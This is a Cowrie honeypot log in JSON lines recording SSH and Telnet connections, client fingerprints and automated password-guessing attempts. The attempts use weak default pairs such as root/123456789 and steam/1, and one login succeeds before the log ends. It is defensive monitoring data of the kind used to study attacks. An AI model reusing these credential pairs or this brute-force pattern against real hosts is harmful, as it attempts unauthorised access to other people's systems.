{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":41906,"dst_ip":"10.17.0.5","dst_port":22,"session":"5d1e9efb6354","protocol":"ssh","message":"New connection: 141.11.88.14:41906 (10.17.0.5:22) [session: 5d1e9efb6354]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:27:41.780972Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:27:42.388019Z","src_ip":"141.11.88.14","session":"5d1e9efb6354","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:27:42.401295Z","src_ip":"141.11.88.14","session":"5d1e9efb6354","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tony","password":"tony","message":"login attempt [tony/tony] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:27:45.107793Z","src_ip":"141.11.88.14","session":"5d1e9efb6354","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.6","message":"Connection lost after 4.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:27:46.358836Z","src_ip":"141.11.88.14","session":"5d1e9efb6354","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":11894,"dst_ip":"10.17.0.5","dst_port":22,"session":"3606276c35f5","protocol":"ssh","message":"New connection: 141.11.88.14:11894 (10.17.0.5:22) [session: 3606276c35f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:27:50.141826Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:27:50.146369Z","src_ip":"141.11.88.14","session":"3606276c35f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:27:50.272999Z","src_ip":"141.11.88.14","session":"3606276c35f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"P@ssw0rd","message":"login attempt [user/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:27:50.759368Z","src_ip":"141.11.88.14","session":"3606276c35f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:27:51.859753Z","src_ip":"141.11.88.14","session":"3606276c35f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":39886,"dst_ip":"159.203.135.109","dst_port":23,"session":"820bb92f43d2","protocol":"telnet","message":"New connection: 172.81.62.90:39886 (159.203.135.109:23) [session: 820bb92f43d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:27:53.408689Z"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":25854,"dst_ip":"10.17.0.5","dst_port":22,"session":"6ebc7d31e2b5","protocol":"ssh","message":"New connection: 141.11.88.14:25854 (10.17.0.5:22) [session: 6ebc7d31e2b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:27:57.992469Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:27:58.037261Z","src_ip":"141.11.88.14","session":"6ebc7d31e2b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:27:58.109403Z","src_ip":"141.11.88.14","session":"6ebc7d31e2b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"repo","password":"repo","message":"login attempt [repo/repo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:27:58.926382Z","src_ip":"141.11.88.14","session":"6ebc7d31e2b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:28:00.086162Z","src_ip":"141.11.88.14","session":"6ebc7d31e2b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.143.231.24","src_port":56886,"dst_ip":"10.17.0.5","dst_port":22,"session":"5ac7559e1c6e","protocol":"ssh","message":"New connection: 103.143.231.24:56886 (10.17.0.5:22) [session: 5ac7559e1c6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:28:00.325870Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:28:00.330234Z","src_ip":"103.143.231.24","session":"5ac7559e1c6e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:28:00.400492Z","src_ip":"103.143.231.24","session":"5ac7559e1c6e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":35674,"dst_ip":"159.203.135.109","dst_port":23,"session":"48fe7a2ed9ee","protocol":"telnet","message":"New connection: 172.81.62.90:35674 (159.203.135.109:23) [session: 48fe7a2ed9ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:28:00.513356Z"}
{"eventid":"cowrie.login.failed","username":"george","password":"123456","message":"login attempt [george/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:28:00.715443Z","src_ip":"103.143.231.24","session":"5ac7559e1c6e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:28:01.788332Z","src_ip":"103.143.231.24","session":"5ac7559e1c6e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":25898,"dst_ip":"10.17.0.5","dst_port":22,"session":"4120e40d0bf8","protocol":"ssh","message":"New connection: 141.11.88.14:25898 (10.17.0.5:22) [session: 4120e40d0bf8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:28:05.409046Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:28:05.451159Z","src_ip":"141.11.88.14","session":"4120e40d0bf8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:28:05.527802Z","src_ip":"141.11.88.14","session":"4120e40d0bf8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"testuser","message":"login attempt [testuser/testuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:28:05.994401Z","src_ip":"141.11.88.14","session":"4120e40d0bf8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:28:07.321838Z","src_ip":"141.11.88.14","session":"4120e40d0bf8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":14312,"dst_ip":"10.17.0.5","dst_port":22,"session":"203fb3f5b0d5","protocol":"ssh","message":"New connection: 141.11.88.14:14312 (10.17.0.5:22) [session: 203fb3f5b0d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:28:11.948256Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:28:12.000350Z","src_ip":"141.11.88.14","session":"203fb3f5b0d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:28:12.065793Z","src_ip":"141.11.88.14","session":"203fb3f5b0d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789","message":"login attempt [root/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:28:12.663421Z","src_ip":"141.11.88.14","session":"203fb3f5b0d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:28:13.795208Z","src_ip":"141.11.88.14","session":"203fb3f5b0d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.8685245513916,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:28:15.369861Z","src_ip":"172.81.62.90","session":"bd8fe527562c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":57988,"dst_ip":"10.17.0.5","dst_port":22,"session":"d0b0c2989520","protocol":"ssh","message":"New connection: 141.11.88.14:57988 (10.17.0.5:22) [session: d0b0c2989520]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:28:19.487593Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:28:19.514774Z","src_ip":"141.11.88.14","session":"d0b0c2989520","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:28:19.570646Z","src_ip":"141.11.88.14","session":"d0b0c2989520","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"appuser","password":"root","message":"login attempt [appuser/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:28:20.073102Z","src_ip":"141.11.88.14","session":"d0b0c2989520","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:28:21.238395Z","src_ip":"141.11.88.14","session":"d0b0c2989520","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":58048,"dst_ip":"10.17.0.5","dst_port":22,"session":"6a84b4f561d0","protocol":"ssh","message":"New connection: 141.11.88.14:58048 (10.17.0.5:22) [session: 6a84b4f561d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:28:25.501056Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:28:25.576716Z","src_ip":"141.11.88.14","session":"6a84b4f561d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:28:25.639497Z","src_ip":"141.11.88.14","session":"6a84b4f561d0","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"1","message":"login attempt [steam/1] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:28:26.934315Z","src_ip":"141.11.88.14","session":"6a84b4f561d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.7722270488739,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:28:27.180704Z","src_ip":"172.81.62.90","session":"820bb92f43d2","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:28:27.336872Z","src_ip":"141.11.88.14","session":"6a84b4f561d0","protocol":"ssh"}
